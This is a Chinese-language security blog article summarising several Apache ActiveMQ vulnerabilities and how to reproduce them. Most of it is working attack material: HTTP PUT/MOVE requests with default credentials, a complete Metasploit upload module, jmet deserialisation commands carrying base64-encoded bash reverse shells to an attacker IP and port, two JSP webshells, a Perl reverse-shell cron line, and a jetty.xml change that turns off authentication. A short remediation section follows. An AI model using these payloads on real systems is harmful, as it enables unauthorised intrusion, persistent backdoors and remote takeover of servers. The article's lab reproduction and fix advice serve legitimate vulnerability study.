freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ActiveMQ漏洞总结
2021-08-17 00:26:15

ActiveMQ简介

Apache ActiveMQ是Apache软件基金会所研发的开放源代码信息中间件;由于ActiveMQ是一个纯Java程序,因此也只需要操作系统支持Java虚拟机,ActiveMQ便可执行。

在客户端与服务器进行通讯时,客户端调用后,必须等待服务对象完成处理结果才能继续执行。

客户与服务器对象的生命周期紧密耦合,客户进程和程序对象进程都必须正常运行;如果由于服务对象崩溃或者网络故障导致用户的请求不可达,客户会受到异常

点对点通信:

客户的一次调用只发送给某个单独的目标对象

消息中间件:

面向消息的中间件较好的解决了以上的问题,发送者将消息发送给消息服务器,消息服务器将消感存放在若干队列中,在合适的时候再将消息转发给接收者。这种模式下,发送和接收是异步的,发送者无需等待,二者的生命周期未必相同,发送消息的时候接收者也不一定运行,接收消息的时候发送者也不一定运行,一对多通信,对于一个消息可以有多个接收者

ActiveMQ物理路径泄露漏洞

漏洞简介

ActiveMQ默认开启RUT请求,当开启PUT时,构造好payload(即不存在的目录),Response会返回相应的物理路径信息

复现过程

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: IP地址:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

ActiveMQ路径遍历导致位经身份验证的rce(CVE-2015-1830)

漏洞简介

windows5.11.2之前的Apache ActiveMQ 5.x 中blob消息的文件服务器上传/下载功能中的目录遍历漏洞允许远程攻击者通过未指定的向量在任意目录中创建JSP文件

漏洞影响

ActiveMQ 5.11.1

复现过程

若服务器存在fileserver目录,则可以通过put请求写入文件,但fileserver下的文件默认不解析

Request


PUT /fileserver/shell.jsp HTTP/1.1
Host: [www.0-sec.org:8161](www.0-sec.org:8161)
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx.xxx:8161/admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1qt95l6g0lzyg1vt89fbhhzowh
Connection: close
Content-Length: 6



test





Resopnse



HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

然后使用MOVE请求移动文件,如果是写入webshell需要做的物理路径,在https://www...........:8161/admin/test/systemProperties.jsp可以查看物理路径然后访问 ………………….:8161/api/s.jsp 即可,如果权限足够,可以利用计划任务反弹shell

msf poc

直接在msf里面搜索就行了,如果没有请更新msf版本,或者手动复制下面的脚本到msf目录下。

\##
\# This module requires Metasploit: https://metasploit.com/download
\# Current source: https://github.com/rapid7/metasploit-framework
\##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'     => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
'Description' => %q{
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
ActiveMQ 5.x before 5.11.2 for Windows.

The module tries to upload a JSP payload to the /admin directory via the traversal
path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ
credentials admin:admin (or other credentials provided by the user). It then issues
an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
payload and obtain a shell.
},
'Author'     =>
[
'David Jorm',   # Discovery and exploit
'Erik Wynter'   # @wyntererik - Metasploit
],
'References'   =>
[
[ 'CVE', '2015-1830' ],
[ 'EDB', '40857'],
[ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
],
'Privileged'   => false,
'Platform' => %w{ win },
'Targets'   =>
[
[ 'Windows Java',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2015-08-19',
'License'   => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 8161,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'DefaultTarget' => 0))

register_options([
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('PATH',   [true, 'Traversal path', '/fileserver/..\\admin\\']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
])
end

def check
print_status("Running check...")
testfile = Rex::Text::rand_text_alpha(10)
testcontent = Rex::Text::rand_text_alpha(10)

send_request_cgi({
'uri'   => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
'headers'   => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'PUT',
'data'   => "<% out.println(\"#{testcontent}\");%>"
})

res1 = send_request_cgi({
'uri'   => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers'   => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'GET'
})

if res1 && res1.body.include?(testcontent)
send_request_cgi(
opts = {
'uri'   => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers'   => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'DELETE'
},
timeout = 1
)
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status("Uploading payload...")
testfile = Rex::Text::rand_text_alpha(10)
vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.

send_request_cgi({
'uri'   => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
'headers'   => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'PUT',
'data'   => payload.encoded
})

print_status("Payload sent. Attempting to execute the payload.")
res = send_request_cgi({
'uri'   => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers'   => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'GET'
})
if res && res.code == 200
print_good("Payload executed!")
else
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
end
end
end

ActiveMQ反序列化漏洞(CVE-2015-5254)

漏洞简介

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞影响

Apache ActiveMQ 5.13.0之前的5.x版本

漏洞复现

在docker+vulhub环境下复现

cd vulhub/activemq/CVE-2015-5254

docker-compose up -d

1

开启环境后,此环境监听了两个端口8161、61616,其中8161是web管理页面端口,直接访问8161端口就可以看到web管理页面

61616端口则是工作端口,消息在这个端口进行传递

漏洞利用过程

1.构造可执行命令的反序列化对象

2.作为一个消息,发送给目标61616端口

3.访问web管理页面,读取消息,触发漏洞

使用jmet( https://github.com/matthiaskaiser/jmet/releases)进行漏洞利用,首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)

jmet的原理是使用ysoserial生产Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME

POC:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.27.180 61616

此时会给目标AcriveMQ添加一个名为even的队列,可以通过 ……………8161/admin/browse.jsp?JMSDestination=event 看到这个队列的所有消息

2

点击这条消息,如果在docker中的 /tmp 目录下创建了success文件,则表明该漏洞可以利用

反弹shell

反弹shell时要将命令base64加密后发送,利用bash在目标机解密执行,在不加密的情况下执行命令不能反弹shell

偶尔有时命令执行有效负载Runtime.getRuntime().exec()会失败。使用Webshell,反序列化漏洞或其他向量时可能会发生这种情况。

有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义。例如,ls > dir_listing在shell中执行应该将当前目录的列表输出到名为的文件中dir_listing。但是在exec()函数的上下文中,该命令将被解释为获取>和dir_listing目录的列表。

其他时候,其中包含空格的参数会被StringTokenizer类破坏,该类将空格分割为命令字符串。那样的东西ls “My Directory"会被解释为ls ‘"My’ 'Directory”’。

在Base64编码的帮助下,下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell再次使管道和重定向更好,并且还确保参数中没有空格。

使用java.lang.Runtime.exec() Payload Workarounds对命令进行base64编码

bash命令直弹

反弹命令:

bash -i >& /dev/tcp/192.168.50.128/4444 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

EXP:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.50.128 61616

在kali中使用nc监听4444端口,当点击该条记录时,直接反弹回shell

命令执行

当最开始未对exp进行base64编码时,无法反弹shell,所以想着可以命令执行,所以使用文件重定向,并当文件重定向完成之后,立马执行脚本,反弹shell

测试未成功,使用base64编码后,能够利用

反弹命令:

echo "bash -i >& /dev/tcp/192.168.50.128/4444 0>&1" > /tmp/shell.sh && bash /tmp/shell.sh

bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyOC80NDQ0IDA+JjEiID4gL3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=}|{base64,-d}|{bash,-i}

EXP:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyOC80NDQ0IDA+JjEiID4gL3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.50.128 61616

其他利用

由于可以命令执行,所以可以使用&&符号,成功执行command1之后再执行command2,当服务器开启22端口,则可以创建用户,添加到root用户组(有权限的情况下),这样可以通过我们设置的用户名和密码成功进入服务器

总结

通过web管理页面访问消息并触发这个漏洞的过程需要管理员权限,再没有密码的情况,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问时触发

ActiveMQ任意文件上传漏洞(CVE-2016-3088)

漏洞简介

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现,其使用率并不高,文件操作容易出现漏洞

所以在ActiveMQ 5.12.x - 5.13.x 版本中,已经默认关闭了fileserver这个应用(可以在confie、jetty.xml中开启),在5.14.0版本后,彻底删除了fileserver应用

本漏洞出现在fileserver应用中,漏洞原理非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞

文件写入有几种利用方法:

1.写入webshell

2.写入cron或ssh key等文件

3.写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问

写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限

写入jar,稍微麻烦点(需要jar的后门)

写入xml配置文件,这个方法比较靠谱,但是又需要知道activeMQ的绝对路径

漏洞影响

5.13.x之前的版本

漏洞复现

使用docker环境搭建

3

写入webshell

写入webshell需要知道文件的绝对路径,访问http://x.x.x.x:8161/admin/test/systemProperties.jsp查看ActiveMQ的绝对路径,但是我没有实际尝试过,实际环境中,我遇到一个搭载着HawtIO,使用弱口令登录后查看到了绝对路径

ActiveMQ自带的管理界面的功能十分简单,只能查看ActiveMQ当前的Queue和Topics等简单信息,不能监控ActiveMQ自身运行的JMX信息等。HawtIO 是一个新的可插入式 HTML5 面板,设计用来监控 ActiveMQ, Camel, Karaf, Fuse Fabric, Tomcat 和其他系统。ActiveMQ在5.9.0版本曾将hawtio嵌入自身的管理界面,但是由于对hawtio的引入产生了争议,在5.9.1版本中又将其移除,但是开发者可以通过配置,使用hawtio对ActiveMQ进行监控。本文介绍了通过两种配置方式,使用hawtio对ActiveMQ进行监控。

通过ActiveMQ可能会有弱口令密码admin/admin可以进入管理界面,可以通过hawtio查看绝对路径

13

漏洞是需要登录后才可以执行 写入webshell需要写在admin或api应用中,这俩应用都需要登录才能访问,默认账户密码均为admin/admin 漏洞利用的是/fileserver/有put上传权限,/admin/有执行权限,可找到绝对路径,使用move移动文件到/admin/ 下面就是分开两步走,先是利用put上传文件到/fileserver/,然后移动到move到admin下面 所有返回204就代表成功,有个坑点:不要put同文件名的文件上去 如果上传不解析的话,则是证明没有权限 ActiveMQ默认开启PUT方法,当fileserver存在时,我们可以上传jspwebshell

4

5

访问 http://127.0.0.1:8161/fileserver/test.txt则会将此文件展示出来

6

MOVE请求,将该文件移动到/api/中,并且以 .jsp 命名

7

访问 http://127.0.0.1:8161/api/test1.jsp则会将此文件展示出来(访问路径时可能需要登录,默认账号密码为 admin/admin)

8

EXP

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

可以直接移入目录下,如果上传马之后不能利用,是因为系统需要登陆,无法直接利用,访问shell地址,使用密码传递参数,可以成功执行

冰蝎马

<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

其实感觉jsp木马都可以

写入计划任务

这是一个比较稳健的方法。首先上传一个sron配置文件(换行要用 \n ,不能是 \r\n ,否则crontab会执行失败)

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.27.180";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

如上文传webshell步骤基本相似,MOVE移动到 file:///etc/cron.d/rppt

这个方法需要ActiveMQ是root运行,否则不能写入cron文件

写入jetty.xml或jar

在写入shell时会受到身份认证的限制,实际中除了口令爆破成功之外写shell比较困难,如果采用计划任务反弹shell,则需要activemq时root权限启动的,否则无法写入计划任务反弹shell,这个时候会想到写入jetty.xml配置文件覆盖原来的配置,取消身份认证即可写shell;思路没有问题,但是在本地测试时发现可以写入覆盖,但是必须要active重启才可以使配置生效,所以只有在root权限下才可以写入计划任务让服务重启,但此时可以直接弹shell了,就没必要去覆盖配置了

jetty.xml配置如下:只需要将身份认证的true改为false即可

<!--
Licensed to the Apache Software Foundation (ASF) under one or more contributor
license agreements. See the NOTICE file distributed with this work for additional
information regarding copyright ownership. The ASF licenses this file to You under
the Apache License, Version 2.0 (the "License"); you may not use this file except in
compliance with the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or
agreed to in writing, software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied. See the License for the specific language governing permissions and
limitations under the License.
-->
<!--
An embedded servlet engine for serving up the Admin consoles, REST and Ajax APIs and
some demos Include this file in your configuration to enable ActiveMQ web components
e.g. <import resource="jetty.xml"/>
-->
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="securityLoginService" class="org.eclipse.jetty.security.HashLoginService">
<property name="name" value="ActiveMQRealm" />
<property name="config" value="${activemq.conf}/jetty-realm.properties" />
</bean>

<bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<property name="name" value="BASIC" />
<property name="roles" value="admin" />
<property name="authenticate" value="false" />
</bean>
<bean id="securityConstraintMapping" class="org.eclipse.jetty.security.ConstraintMapping">
<property name="constraint" ref="securityConstraint" />
<property name="pathSpec" value="/*" />
</bean>
<bean id="securityHandler" class="org.eclipse.jetty.security.ConstraintSecurityHandler">
<property name="loginService" ref="securityLoginService" />
<property name="authenticator">
<bean class="org.eclipse.jetty.security.authentication.BasicAuthenticator" />
</property>
<property name="constraintMappings">
<list>
<ref bean="securityConstraintMapping" />
</list>
</property>
<property name="handler">
<bean id="sec" class="org.eclipse.jetty.server.handler.HandlerCollection">
<property name="handlers">
<list>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/admin" />
<property name="resourceBase" value="${activemq.home}/webapps/admin" />
<property name="logUrlOnStart" value="true" />
</bean>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/demo" />
<property name="resourceBase" value="${activemq.home}/webapps/demo" />
<property name="logUrlOnStart" value="true" />
</bean>
<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/fileserver" />
<property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
<property name="logUrlOnStart" value="true" />
<property name="parentLoaderPriority" value="true" />
</bean>
<bean class="org.eclipse.jetty.server.handler.ResourceHandler">
<property name="directoriesListed" value="false" />
<property name="welcomeFiles">
<list>
<value>index.html</value>
</list>
</property>
<property name="resourceBase" value="${activemq.home}/webapps/" />
</bean>
<bean id="defaultHandler" class="org.eclipse.jetty.server.handler.DefaultHandler">
<property name="serveIcon" value="false" />
</bean>
</list>
</property>
</bean>
</property>
</bean>

<bean id="contexts" class="org.eclipse.jetty.server.handler.ContextHandlerCollection">
</bean>

<bean id="Server" class="org.eclipse.jetty.server.Server" init-method="start"
destroy-method="stop">

<property name="connectors">
<list>
<bean id="Connector" class="org.eclipse.jetty.server.nio.SelectChannelConnector">
<property name="port" value="8161" />
</bean>
<!--
Enable this connector if you wish to use https with web console
-->
<!--
<bean id="SecureConnector" class="org.eclipse.jetty.server.ssl.SslSelectChannelConnector">
<property name="port" value="8162" />
<property name="keystore" value="file:${activemq.conf}/broker.ks" />
<property name="password" value="password" />
</bean>
-->
</list>
</property>

<property name="handler">
<bean id="handlers" class="org.eclipse.jetty.server.handler.HandlerCollection">
<property name="handlers">
<list>
<ref bean="contexts" />
<ref bean="securityHandler" />
</list>
</property>
</bean>
</property>

</bean>

</beans>

ActiveMQ 信息泄露漏洞(CVE-2017-15709)

漏洞简介

在最新的版本中apache-activemq-5.15.0 to apache-activemq-5.15.2和apache-activemq-5.14.0 to apache-activemq-5.14.5中61616默认使用了OpenWire协议,开启了debug模式,debug模式会泄露操作系统相关信息

12

影响版本

Apache ActiveMQ 5.14.0 - 5.15.2

修复建议

针对未授权访问,修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可

针对弱口令,修改conf/hetty.xml文件,bean id为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可

针对反序列化漏洞,建议升级到最新版本,或waf添加相关规则进行拦截

针对信息泄露漏洞,启用TLS传输或升级到Apache ActiveMQ的5.14.6或5.15.3以上版本

实战情况

最近在一次渗透测试中,发现被测系统的端口运行着activeMQ服务,并且activeMQ还挂载了HawtIO java应用监控系统,activeMQ和HawtIO均存在弱口令问题,使用默认账户密码:admin/admin 登入成功。

1

2

尝试测试ActiveMQ任意文件上传漏洞(CVE-2016-3088)

尝试上传文件,自己构造了一个 123.html 文件,内容为显示一个upload test 标题

<html>
<h1>upload test</h1>
</html>

显示文件内容的时候,如果显示的是文件内容,并且是普通字体的格式与大小,说明文件无法被解析,如果显示的是 标题:upload test ,说明该目录可对文件进行解析

3

文件上传成功,但是该目录无法对文件进行解析,并且此时需要activeMQ的绝对路径,刚好从hawtio发现activeMQ的绝对路径

4

成功将文件移动至可解析目录

5

访问文件进行验证

6

验证成功,漏洞存在,由于只是渗透测试,所以并没有上传木马,实战要谨慎

# ActiveMQ # 漏洞复现及分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录